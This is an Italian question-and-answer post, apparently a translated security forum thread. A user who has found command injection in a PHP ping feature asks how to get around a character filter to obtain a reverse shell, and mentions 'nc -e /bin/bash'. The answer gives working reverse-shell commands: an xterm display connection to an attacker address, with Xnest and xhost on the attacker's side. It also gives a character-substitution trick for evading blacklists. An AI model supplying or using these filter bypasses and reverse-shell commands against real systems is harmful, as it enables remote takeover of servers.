Iniezione comandi - bypass di filtraggio

2

Sto testando una webapp PHP che fornisce una funzione ping. Ho provato diversi metodi di iniezione di comando e ho scoperto che accetta solo %0a con l'iniezione semplice come ls o id

Tuttavia il codice sta filtrando molti caratteri come | & ; ( " / > ’ che sono richiesti per eseguire una shell inversa. Mi piace nc -e /bin/bash .

Qualche suggerimento su come aggirare questo filtro?

    
posta sixtiethocean 08.07.2018 - 22:41
fonte

1 risposta

2

Utilizzo di xterm

Una delle forme più semplici di reverse shell è una sessione xterm. Il seguente comando dovrebbe essere eseguito sulla destinazione. Proverà a riconnettersi al tuo sistema (ad es. 10.0.0.1) sulla porta TCP 6001.

xterm -display 10.0.0.1:1

Per catturare l'xterm in arrivo, avvia un X-Server ( :1 - che ascolta sulla porta TCP 6001). Un modo per farlo è con Xnest (da eseguire sul tuo sistema):

Xnest :1

Devi autorizzare la destinazione a connettersi al tuo sistema (il comando è eseguito anche sul tuo sistema):

xhost +targetip

Considera la lista nera come un errore sicuro.

La lista nera dei caratteri non è sicura e dovresti considerare di ignorare la lista stessa.

Per esempio: ^| non è | ma fa il lavoro.

    
risposta data 09.07.2018 - 14:19
fonte

Leggi altre domande sui tag